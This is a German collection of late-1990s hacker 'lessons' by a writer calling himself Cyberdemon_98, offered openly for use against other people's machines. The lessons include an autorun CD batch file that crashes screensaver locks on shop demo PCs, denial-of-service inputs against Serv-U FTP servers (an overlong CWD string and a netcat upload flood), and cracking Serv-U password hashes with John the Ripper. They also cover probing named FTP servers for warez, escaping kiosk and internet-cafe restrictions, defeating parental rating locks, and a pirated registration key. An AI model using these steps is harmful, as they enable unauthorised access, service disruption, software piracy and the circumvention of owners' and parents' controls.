* Beispiele, Schriftart; So drucken Sie ein Schriftartmuster
* Beispiele, Schriftart; So können Sie Schriftarten auf Ihrem Computer ansehen
* Hinzufügen: Schriftarten
* Schriften Siehe Schriftarten

---SERVER:---
* Administrative Warnungen; So verwalten Sie die Liste der Empfänger von Admin-Warnmeldungen
* Anmelden: Anmeldeskriptpfad
* Anzeigen: freigegebene Ressourcen; So zeigen Sie eine Liste der freigegebenen Ressourcen des Computers an
* Anzeigen: freigegebene Ressourcen; So zeigen Sie eine Liste der geöffneten freigegebenen Ressourcen des Computers an
* Anzeigen: verbundene Benutzer; So zeigen Sie eine Liste der Benutzer an, die mit dem Computer verbunden sind
* Anzeigen: verbundene Benutzer; So zeigen Sie eine Liste der freigegebenen Ressourcen des Computers an
* Benutzer: Liste anzeigen
* Benutzer: trennen; So zeigen Sie eine Liste der Benutzer an, die mit dem Computer verbunden sind
* Benutzer: trennen; So zeigen Sie eine Liste der freigegebenen Ressourcen des Computers an
* Benutzersitzungen anzeigen
* Benutzerverbindungen; So zeigen Sie eine Liste der Benutzer an, die mit dem Computer verbunden sind
* Beschreibung, Computer

---SYSTEMEIGENSCHAFTEN:---
* Administrative Warnungen; So ändern Sie die Reaktion von Windows NT bei einem STOP-Fehler
* Anwendungen: Reaktionszeit
* Arbeitsspeicher: virtueller; So ändern Sie die Grösse der Auslagerungsdatei für den virtuellen Speicher
* Aufgaben; So ändern Sie die Reaktionszeit für die Anwendung im Vordergrund
* Auslagerungsdatei; So ändern Sie die Größe der Auslagerungsdatei für den virtuellen Speicher
* Autoexec.bat; So ändern Sie die Umgebungsvariablen Ihres Computers
* Autoexec.bat; So fügen Sie Umgebungsvariablen hinzu
* Benutzerprofile; So erstellen Sie ein Benutzerprofil
* Benutzerprofile; So löschen Sie ein Benutzerprofil
* Benutzerprofile; So schalten Sie zwischen einem Server-gespeicherten und lokalen Benutzerprofil um
* Benutzervariablen; So ändern Sie die Umgebungsvariablen Ihres Computers
* Benutzervariablen; So fügen Sie Umgebungsvariablen hinzu
* Betriebssysteme; So legen Sie das Standardbetriebssystem für Autostart fest
* Dual-Boot-Systeme; So legen Sie das Standardbetriebssystem für Autostart fest

---SYSTEMMONITOR:---
* Administrative Warnungen; Verwenden des Systemmonitors, um die Leistung Ihres Computers zu überwachen
* Benchmark
* Feineinstellung
* Prozesse überwachen; Verwenden des Systemmonitors, um die Leistung Ihres Computers zu überwachen

```
---SYSTEMRICHTLINIEN-EDITOR:---
* Benutzerprofile; Verwenden des Systemrichtlinien-Editors
   um die Desktop-Einstellungen von Benutzern zu beschränken oder zu konfigurieren
* Richtlinien-Editor
* Systemrichtlinien-Editor

---TASKMANAGER:---
* Anwendungen: überwachen
* Arbeitsspeicher: Auslastung überwachen
* Aufgaben; Verwenden des Task-Managers, um Ihren Computer zu überwachen
* Beenden: Tasks, Prozesse
* CPU-Leistung; Verwenden des Task-Managers, um Ihren Computer zu überwachen

---TELEFON:---
* Anrufen; Verwenden des Telefons, um mit einem anderen Computer zu kommunizieren
* Kommunikation: Telefon

---TELNET:---
* Kommunikation: Telnet
* Remote-Computer: Telnet-Verbindungen; Verwenden von Telnet
* Telnet

---WAHLHILFE:---
* Anrufen; Verwenden der Wahlhilfe zum Wählen von Ihrem Computer aus
* Kommunikation: Wahlhilfe

---WILKOMMENSBILDSCHIRM:---
* Anzeigen: Willkommen-Bildschirm
* Einblenden: Willkommen-Bildschirm
* Willkommen-Bildschirm anzeigen

---WORDPAD:---
* Bearbeiten: Dokumente; Verwenden von WordPad zum Schreiben und Formatieren von Dokumenten
* Editoren: WordPad


So, dies dürfte wohl erstmal reichen :-)
Wie gesagt, es gibt "Administratoren", die euch alles sperren wollen (Explorer, Taskleiste,...),
aber über die
Windows - Hilfe kann man einige Features zurück "erobern" ...

cu
Cyberdemon_98

P.S.: Diese weitere nützliche Lesson funktioniert auch, wenn ihr Touchscreens hackt
         (z.B. im Kaufhauf, Bahnhof, Flughafen,...).
        Einige "angehende" Systemadministratoren versuchen euch die Rechte via Poledit zu
entziehen,
        aber die meisten Idioten lassen dann auch noch die Poledit.exe auf der Platte, und so ist
es ein Kinderspiel
        sich die Rechte zurück zu holen...;-))
        Poledit ist übrigens auf jeder Windows CD enthalten, schadet also nicht sich das mal auf
Disk zu ziehen ;-)
```

Secret FTP:
==========

Hi again,
hier bin ich wieder mit einer neuen Lesson und ich hoffe das ihr ein weiteres mal daraus lernt...
In dieser Lesson geht es um FTP Server.
Ihr glaubt gar nicht, was so alles auf FTP Servern rumliegt und ihr es einfach nicht seht, weil die meisten von euch einen oberflächen-gesteuerten FTP Browser benutzen...das soll sich spätestens nach dieser Lesson definitiv ändern.

Okay, bevor wieder dieses ganze Theorie gequatsche losgeht, fangen wir gleich mit der Praxis an.
Als sehr schönes Beispiel, was ich auch immer wieder gerne demonstriere, ist der FTP Server von Diamond Multimedia (dem Grafikkartenhersteller, Modem, ...).

Der FTP Server heisst: ftp.diamondmm.com

Weiter jetzt, ihr connectet am besten ersteinmal per Browser ala Netscape oder IE...
Ihr loggt euch als "anonymous" ein, und .. was seht ihr ??? Das Verzeichnis "pub" ???
Wie, mehr nicht ??? Hehehe.
Das liegt daran, daß die Browser nur Verzeichnisse anzeigen, die zugelassen sind :-(Dreck !!
Aber um auch "mehr zu sehen", bin ich ja als Rettung da...
Connectet euch mal mit dem FTP Server via DOS-FTP. Einige von euch werden sich jetzt fragen wie das geht, okay, hier kommt die genaue Beschreibung:

- wechselt in die DOS-Eingabeaufforderung
- "ftp ftp.diamondmm.com" eintippen, natürlich ohne ""
- bei user gebt ihr "anonymous" ein
- als Passwort nehmt ihr irgendeine Mailadresse

So, wenn ihr drin seit, was gebt ihr dann ein um eine Übersicht der Directories zu erhalten ???
"dir" ??? FALSCH !!!
Aber ihr könnt es ja mal probieren, mit dem Ergebnis: 1 Ordner namens "pub".
Shit, also weiter...
Tippt mal den Befehl "ls -lisa" ein und ... oops, was ist denn da versteckt ???
Etwa ein Ordner der sich "secret" schimpft ??? Hehehe.
Na, war das nicht einfach ? Wechselt mit "cd secret" in das Secret Verzeichnis.

Noch ein TiP: Schnüffelt mal bei Diamond auf dem FTP Server im "secret" Ordner rum, da liegen nämlich immer Warez rum :-)) ...irgendwo im /communications/.tmp Ordner oder so...

Okay, ich wollte euch in dieser Lesson demonstrieren, daß es immer wieder Mittel zum Zweck gibt.

MFG
Cyberdemon_98

P.S.: Hier folgen noch einige Grundbefehle für das DOS-FTP:

- cd xxx	wechselt in das Verzeichnis xxx
- cd ..	wechselt eine Ebene höher
- pwd	zeigt euch das aktuelle Verzeichnis an
- get xxx	saugt das file xxx
- close	schliesst die FTP Verbindung
- quit	beendet den FTP Prompt
- help	zeigt weitere FTP zugelassene Befehle an

Nach der Veröffentlichung meiner Bible habe ich viele Mails bekommen, das der Trick mit dem Diamond Server nicht mehr funzt... Geht auch nicht mehr :-(
Aber ihr könnt ja ganz einfach andere FTP-Server absuchen...

TiP: ftp.installshield.com

Root Passwort löschen:
==========

Huhu,
hier mal wieder nach langer, sehr langer zeit (ja, ich weiß das es verdammt lang war) ein Update meiner Lessons. Ich wollte es auch schon viel früher machen, aber ihr kennt das ja selbst:
- Viel zuviel Arbeit
- Probleme mit den Frauen
- Probleme mit und ohne Alkohol

Jaja, die heile Welt, wo ist sie nur geblieben ???
So, jetzt aber zu unserem Tut...
Nehmen wir mal an daß du SuSe installiert hast, Dich als "root" einloggen willst, aber Dein Passwort vergessen hasst... SHiT !!! Watt machen wa da ???
So, nun erstmal was zum Aufbau...

Linux speichert die Passwörter in der "shadow" Datei, die sich im Verzeichnis "/etc" befindet.
Aber wie bekommen wir Zugriff auf die Datei ??? Hmmm...

Du startest Deinen PC mit der Bootdisk von SuSe oder direkt von der CD.
Im Hauptmenü wählst Du Die Option "System starten". Im nachfolgenden Fenster die Option "Rettungssystem starten" und "CD-ROM". Nach dem Start von SuSe loggst Du Dich als "root" ein, drückst bei der Passwortabfrage einfach ENTER. Jetzt kommt erstmal "...have a lot of fun..." oder so, aber das ist ja auch egal.

Nun mountest Du die Linux Partition Deiner Festplatte. Mit dem Befehl "fdisk -l" verschaffst Du Dir erstmal einen Überblick über die Partition. Die Bezeichnung der Linux Partition ist "Linux Native" und die ID "83". Jetzt bestimmst Du den Gerätenamen der Partition wie etwa "dev/hda4". Mit "cd /" wechselst Du ins "\root" Verzeichnis deiner Festplatte (die oberste Ebene). Mit dem Befehl "ls -lisa" verschaffst Du Dir einen Überblick von den vom Rettungssystem angelegten Verzeichnissen. Solltest Du kein Verzeichnis namens "mnt" sehen, leg es mit dem Befehl "mkdir mnt" an. Mit dem Befehl "mount /dev/hda4 /mnt" lädst Du Deine Linux Partition namens "hda4" in das "/mnt" Verzeichnis. Nun wechselst Du in das "/mnt/etc" Verzeichnis und schaust nach, ob die Datei "shadow" sich in diesem befindet.

Nun schaust Du Dir die Datei im VI Editor an ("vi shadow").
Das Passwort für den root Account steht verschlüsselt in der ersten Zeile zwischen den Doppelpunkten.

Wechsel mit Esc,i in den Einfügemodus des VI und lösch alle Zeichen zwischen den Doppelpunkten.
Mit ":wq!" (write,quit und ! steht für absolut) speicherst Du die editierte Datei und verläßt den Editor.
Nun noch die Maschine mit "shutdown -r now" rebooten und sich erneut als root einloggen, nur diesmal
brauchst Du kein Passwort :).
So, um dem root Account nun ein neues zu geben benutzt Du den Befehl "passwd".

Und das war auch schon das ganze Geheimnis rund um den lokalen Linux Root Hack.
...have a lot of fun...

cu all
Cyberdemon_98

P.S.: Ich habe hier den Weg für die SuSe Distribution beschrieben, aber bei allen anderen sollte der Weg so ungefähr der gleiche sein...

Win 9x Screensaver Crash:
==========

Und da bin ich wieder...
Du kennst vermutlich Saturn, MediaMarkt, Karstadt, Hertie, und und und. So, die haben da ja auch immer so Vorführ PC's, nur leider ist da immer der Bildschirmschoner mit einem häßlichen Paßwort aktiv... *grrr*. Um dem Abhilfe schaffen zu können brauchte ich noch nichtmal lange über dieses wirklich ernste Problem nachdenken :). In den folgenden Zeilen möcht ich Dir gern zeigen, wie Du den Bildschirmschoner im laufenden Betrieb aushebelst :).

Benötigt wird:
- ein CD-Brenner
- ein Rohling
- zwei Dateien
- und mein geniales Wissen

Das Prinzip ist ganz einfach. Es handelt sich hier um eine brutale Attacke, die den Screensaver zum abstürzen bringt. Man könnte sie auch als DoS (Denial of Service) Attacke bezeichnen.
Nun gut....
Die Lösung ist wie folgt:
Du erstellst eine CD, die im root (wichtig!) Verzeichnis zwei Dateien enthält:
Autorun.inf & Shootout.bat
Die Dateien müssen folgendermaßen aussehen:

autorun.inf:
```
============
[autorun]
open=shootout.bat
```

shootout.bat:
```
===========
echo off
ren %windir%\system sys
echo strike any key to take control over this system
pause > nul
ren %windir%\sys system
```

So, aber was passiert nun wenn Du die CD einlegst ???
Die CD startet (sofern die Autorunfunktion nicht deaktiviert ist) automatisch, denn dafür sorgt schon die AUTORUN.INF. Diese wiederum ruft die SHOOTOUT.BAT auf, die während des Betriebes das Windows-System Verzeichnis umbenennt, und somit den Bildschirmschoner crasht.
Du erhälst zwar ein paar Fehlermeldungen und zu guter letzt die Aufforderung deiner BAT Datei: "strike any key to take control over this system".
Dem willst Du ja nicht widersprechen und drückst auch eine Taste, und schwups.... DRIN!
Na war das nicht einfach ??? Sicher war's das...

Das oben Verfahren funktioniert nur wenn die Autorun-Funktion nicht deaktivert wurde, denn dann kann ja die autorun.inf nicht die shootout.bat starten, die wiederum den SCR-Saver crasht. Sollte sich der Bildschirmschoner auch nicht Windows-System Verzeichnis befinden, funktioniert die Lösung ebenfalls nicht.

So, damit nicht genug.
Mein Kumpel zerOOne hat ein Programm geschrieben, was ebenso genial ist wie meine Lösung.
Das Prinzip ist das gleiche: Autorun ruft eine andere Datei auf.
Bei ihm wird nicht das Windows-System Verzeichnis umbenannt, nein, bei ihm schiebt sich ein Programm in den Vordergrund, welches aus der Registrierung das Passwort des Bildschirmschoners gelesen hat und nun als Klartext preisgibt :). Auch eine nette Alternative, wah ??
Leider funktioniert sein Programm nur bei Microsoft Bildschirmschonern.

Für Dich heißt das, das Du demnächst eine CD erstellen wirst, die diese Dateien enthält und dann nach Saturn, MediaMarkt und sonstiges gehst und nur die CD einlegen mußt um die Passwortabfrage des Bildschirmschoners, bzw. diesen selbst außer Gefecht zu setzen.

Einfach, oder net ??? Bei älteren Bildschirmschonern hilft es auch wenn man einfach ALT+RETURN oder ALT+TAB drückt.

cu Cyberdemon_98

Serv-U FTP Server Tricks:
====================

Yeah, eine neue Lesson die fertig ist und nur darauf wartet von euch wißbegierigen
Cyberjunkies gelesen zu werden. Lange Rede kurzer Unsinn...
... hier in dieser Lesson geht es um den wohl bekannten Serv-U FTP Server.
Serv-U ist ein Tool mit dem jeder auf einfachste Weise einen "FTP-Server" aufziehen kann,
bei dem jeder down- bzw. uploaden kann. Da sich immer mehr in Chats wichtig (ohhh!) tun,
indem sie dann sagen: "hey, das kannst Du von meinem FTP Server saugen" dachte ich
das ich mal ein Tutor schreibe, was einige Lücken in Serv-U einschließt, da ich mir das
mit dem "FTP Server" nicht ziehen kann.

Also, das was Du zuerst brauchst ist jemanden der Serv-U hat, und Dir anbietet das Du
Dir was von ihm downloaden kannst. Der jeweilige Gegenüber muß Dir seine IP, sowie
Benutzernamen und Paßwort mitteilen. Hast Du dies, beginnt der eigentliche Spaß :)

Um herauszubekommen auf wen Serv-U registriert ist und welche Version läuft, telnettest
Du ihn erstmal. Das heisst: "Start", "Ausführen" und dann "telnet IP 21".
Hier ist "IP" die IP Adresse des FTP "Anbieters" und 21 der FTP Port, der aber variieren kann.
So, sobald dies geschehen ist öffnet sich eine Telnet-Session und verbindet Dich prompt
mit Serv-U: "220 Serv-U FTP-Server v2.5e for WinSock ready..."

Aha, Version 2.5e ist also schonmal aktiv... hmmm... weiter...
Tipp nun den Befehl "help" ein und schon sollte Dein Telnet Fenster ungefähr so aussehen:

```
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
220 Serv-U FTP-Server v2.5e for WinSock ready...
help
214- The following commands are recognized (* => unimplemented).
   USER    PORT    RETR    ALLO    DELE    SITE    XMKD    CDUP
   PASS    PASV    STOR    REST    CWD     STAT    RMD     XCUP
   ACCT    TYPE    APPE    RNFR    XCWD    HELP    XRMD    STOU
   REIN    STRU    SMNT    RNTO    LIST    NOOP    PWD     SIZE
   QUIT    MODE    SYST    ABOR    NLST    MKD     XPWD    MDTM
214 Serv-U version 2.5.5.2, registered to: Cyberdemon_98,BiBLE Demonstration
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```

Und was kannst Du nun an Infos erkennen ??? Ganz klar, wie schon erwähnt die
Version 2.5e und registriert ist diese auf den Namen "Cyberdemon_98" und als Company
"BiBLE Demonstration". Na, das war ja einfach... :)

Das war schonmal das erste in dieser Lesson... jetzt weiter...
Und jetzt crashen wir mal Serv-U :). Dazu haben wir mehrere Möglichkeiten... via Befehle
oder die faulen unter uns benutzen vorgefertigte Programme.
Zuerst führe ich hier die Befehls-Version auf...

Du verbindest Dich mit dem Serv-U Server, teilst ihm Benutzernamen und Passwort mit.
Da Du nun eingeloggt bist, tippst Du mal folgendes Kommando oder läßt dies tun (CuteFTP):
CWD xxx155 (die xxxx155 stehen für 155 Zeichen), z.B. "CWD aaaaaaaa", wobei das
aaaa jetzt 155 Mal vorkommen muß. Anstatt des CWD Befehls kannst Du auch "LS" benutzen.
Serv-U stürzt nun auf der Gegenseite ohne jegliche Fehlermeldung ab.
Wenn Du eine Zeichenlänge größer als 155 Zeichen nutzt, beschwert sich Serv-U mit einer
Fehlermeldung und bricht ebenfalls zusammen. Sollte Serv-U Server auf einer Windows
NT Maschine gestartet sein, kommt noch Dr.Watson hinzu :)

Eine weitere DoS Attacke ist Serv-U unter Windows 98 zu attackieren. Loggt euch in
den Server ein, und uploadet eine Datei mit mindestens 1 MB Größe.
Benutzt folgenden Befehl: "cat dateiname | nc ipadresse 21".
Dieser Upload führt einen TCP/IP StackOverFlow herbei. Die Verbindung zum Internet
wird nach ca. 10 Sekunden getrennt und die Maschine muß einen Kaltstart erhalten um
wieder funktionsfähig arbeiten zu können. Unter Windows NT hängt das Programm, die
CPU-Auslastung steht bei 100%, jedoch stürzt Serv-U nicht ab.

Und da wir nun damit fertig sind, folgt hier die Beschreibung via Programm.
Ihr könnt Serv-U mit folgenden Programmen crashen:

* Serv-U 2.5b Broken Link Uploader (www.ussrback.com)
* Serv-U FTP-Server v2.5a, Denial of Service (www.ussrback.com)

* ServU 2.x StackOverFlow by -=d0c=-

Der Absturz auf der Gegenseite via StackOverFlow sieht so aus:
~~~~~~
SERV-U32 verursachte einen Fehler durch eine ungültige Seite
in Modul SERV-U32.EXE bei 014f:0042ff05.
Register:
EAX=00000002 CS=014f EIP=0042ff05 EFLGS=00010207
EBX=00cf86dc SS=0157 ESP=0063fecc EBP=006400cc
ECX=00cf8580 DS=0157 ESI=00000003 FS=1a17
EDX=00000000 ES=0157 EDI=00000200 GS=3dc7
Bytes bei CS:EIP:
53 8b 5d 08 68 00 02 00 00 8d 85 00 fe ff ff 50
Stapelwerte:
~~~~~~
und Serv-U schließt sich :). Na wie gemein....

Zu guter letzt will ich Dir noch etwas über die Verschlüsselung des Benutzer-Paßwortes erzählen.
Die Paßwörter befinden sich verschlüsselt in der Serv-u.ini im Serv-U Verzeichnis und sieht
ungefähr folgendermaßen aus:

[USER=test]
Password=pjFny6A9HXcg2
HomeDir=c:\
TimeOut=45

Das Beispiel enthält den Benutzer "test", das (noch) verschlüsselte Passwort "tesd", sowie einige
weitere Infos. Wenn Du nun, wie auch immer, die Serv-u.ini eines anderen ergattert hast, dann
kannst Du diese cracken, indem Du einen BruteForce Cracker wie John The Ripper benutzt.
John ist ja bekanntlicherweise ein Unix Passwort Cracker, also mußt Du ein Unix Dummy Passwd
File anlegen, was ca. so aussehen sollte:

root:pjFny6A9HXcg2:0:0:root:/root:/bin/bash

Nun läßt Du nur noch John über dieses Passwd Dummy laufen und schon hast Du das Passwort.
Und wieder ist eine lange, lange Lesson zu Ende und wiedermal hoffe ich, daß ich wieder etwas
Wissen vermitteln konnte.

Dann wünsch ich noch viel Spaß beim Crashen und Telnetten von Serv-U FTP Servern, schießt
mal ein paar Grüße von mir mit über die Leitung ;)

und denn bis zum nächsten Male sagt

Cyberdemon_98

P.S.: Die Shareware Version bekommst Du bei http://ftpserv-u.deerfield.com/ und um die
häßliche Shareware zu registrieren kannst Du folgenden Key benutzen:

SsEWfIGzikY,Cyberdemon_98,BiBLE Demonstration

danke an TNO [The Nameless One's] für den Keygen :)

Internet-Cafe PC Hack:
==========

Schonmal im Internet Cafe gewesen ???
Findest Du es genauso ätzend wie ich, daß einem die Rechte dort derart eingeschränkt werden das man nichts
"vernünftiges" mehr machen kann und man keine Programme mehr starten darf ?
Man soll immer zum Admin rennen und "bitte bitte" sagen. Was für ein Beschiss...
Na, dem soll jetzt Abhilfe geschaffen werden... Wie ??? Ganz einfach... lies weiter :)

Du benötigst zwei ultimative Tools: Netscape (www.netscape.com) oder ACDSee (www.acdsystems.com).
Netscape ist ja bekannterweise ein weitverbreiteter Internetbrowser, ACDSee dagegen ein Bildbetrachter.
Da beides in einer Weise Browser sind, habe ich die folgenden Programme als "Hack-Browser" bezeichnet.

So, am besten sollte der Netscape installiert sein... wenn nicht: DOWNLOADEN !!!
Der Vorteil der beiden Programme ist der, das diese sich nicht um die Windows Sicherheitsprivilegien
kümmern, selbst unter NT (!) nicht... :) kann ja nur von Vorteil sein.
Und wenn unser cleverer Admin uns die Laufwerke via NWAdmin bei Novell Netzen entzogen hat, funktioniert
die folgende Methode doch bestens :)

Na dann starte mal Netscape und tipp in die Adreßleiste folgendes: "C:\" (natürlich ohne die Gänsebeinchen).
Und was siehst Du da ??? Genau, den Inhalt aller Dateien und Ordner auf dem Laufwerk C:\ .
Soweit, sogut. So, leider kann man von hier aus noch keine Programme ausführen, löschen, kopieren und sonstiges :(
aber das wird schon noch. Deshalb klickst Du mal in der Befehlszeile auf "Datei", "Seite öffnen"
(Keyboard-Cowboys wie ich nehmen STRG+O für Öffnen) und dann "Durchsuchen" an... netter Dialog, he ?
So, als "Dateityp" stellst Du erstmal "Alle Dateien *.*" ein. Schwups wird der komplette Inhalt des aktuellen
Verzeichnisses aktualisiert. Na, klingelt's schon ??? Nee, noch net ??? Na dann geht's hier weiter:

Du willst also ein Programm wie Telnet zum Beispiel starten, also wechselst Du ins C:\Windows (oder ähnliches)
Verzeichnis, suchst Dir die Telnet.exe, klickst mit der rechten Maustaste drauf, und .... uuuupsa, was ist das denn
für ein Menü ??? Hmmm.... sieht ja interessant aus.
Das Optionsmenü für den EXE-Dateityp öffnet sich, und wenn Du dann den Eintrag "Öffnen" auswählst startet auch
gleich eine Telnet-Session :) Nett, oder ???

"Ja bin ich denn schon drin oder was ??? Na, das ist ja einfach..." würde unser guter Boris jetzt sagen...

So, da die Telnet Aktion hier jetzt nur ein dummes Beispiel war, ersetzt Du die Telnet.exe durch die EXE, dessen
Programm Du aufrufen möchtest.
So einfach ist die N(etscape)C(ommunicator)-Methode, jetzt folgt der ACDSee-Hack :)
Das Problem ist nur das ACDSee auf (fast) keiner Maschine freiwillig installiert ist... hmm... den muß Abhilfe geschaffen
werden :)

Du kannst versuchen unter www.acdsystems.com ACDsee zu saugen und es dann zu installieren, klappt aber fast nie,
da Du keine Rechte zum installieren von Programmen besitzt.
Also war ich so freundlich und habe die ACDSee.exe direkt auf meine Homepage zum Download gepackt... Nett, wah ???
Die ACDSee.exe holst Du Dir dann einfach von meiner Homepage, führst Sie über den Netscape aus, und schwupps
bekommst Du auch hier den Inhalt des aktuellen Verzeichnisses :)
So, über den Dialog "File" und dann "Open" kannst Du wie bei dem Netscape auch die Dateien ausführen, und und und...
Das schöne bei ACDSee ist, das wenn Laufwerke ausgeblendet sind und diese in die Adresszeile eingetippt werden,

doch angezeigt werden. Man hat also immer einen schönen Überblick wie die Struktur eines Laufwerks ist :)

Und, hast Du wieder einiges dazu gelernt ???
Wenn ja.... super, konnte ich schon wieder etwas Wissen vermitteln und bitte Dich somit um einen Eintrag in mein Gästebuch
Wenn nein... es kommen noch andere Tuts, bei denen ich Dir bestimmt weiter helfen kann...

Okay, das war's dann auch schon wieder, ich wünsch Dir viel Erfolg, eine Menge Spass und...
"...the truth is out there"

cu
Cyberdemon_98

Cyberdemon_98@gmx.net

http://cyberdemon.forbidden.de
http://www.cyberdemon.rulz.de
http://www.cyberdemon98.rulz.de

P.S.: Den Eintrag im Guestbook nicht vergessen :)

IExplorer Passwort umgehen:
==========

Du kennst das Problem, das Dein Daddy im Internet Explorer von Microsoft eine Passwortabfrage eingebaut hat, so das Du nicht alle Seiten im WW betrachten kannst ?

Ob es eine Lösung für dieses Problem gibt ??? Natürlich, denn sonst würde ich ja nicht ganze Lesson damit verschwenden :)

Um die Einstellungen zu ändern oder zu deaktivieren braucht man das Supervisor-Passwort. Starte mal den Internet Explorer, klick auf "Ansicht", "Optionen", "Sicherheit" und "Inhaltsratgeber". Im Menüpunkt "Sicherheit" kannst Du Seiten festlegen, die als vertrauenswürdig, bzw. als vertrauensunwürdig gelten (jedenfalls in Deinen Augen).

Um das ganze etwas zu schützen, wird hier nun ein Passwort festgelegt. Was ist aber nun Du das Passwort vergessen oder überhaupt nicht hast ???
Ganz einfach:

Starte mal Regedit und schau Dir in der Registrierdatenbank den Schlüssel "key" unter "Hkey_Local_Machine/Software/Microsoft/Windows/CurrentVersion/Policies/Ratings" an. Na, ahnst Du schon etwas ??? Genau, da befindet sich der Feind :)
Also eleminierst Du diesen Key, leider war das noch nicht alles.

Du wechselst noch ins Windows Verzeichnis und löscht die Datei "Ratings.pol".
Nun kannst Du alle Seiten ohne Passwort besuchen, egal ob Du es vorher gewußt und nur vergessen, oder ob Du es niemals besessen hast... :)

cu
Cyberdemon_98

P.S.: Dieses Tutorial kam durch !tEcHnOhEaD! zustande, da sein Daddy ihm wohl einige Seiten im Internet nicht zumuten wollte... da hat er doch aber auch recht... www.v-n-h.de :)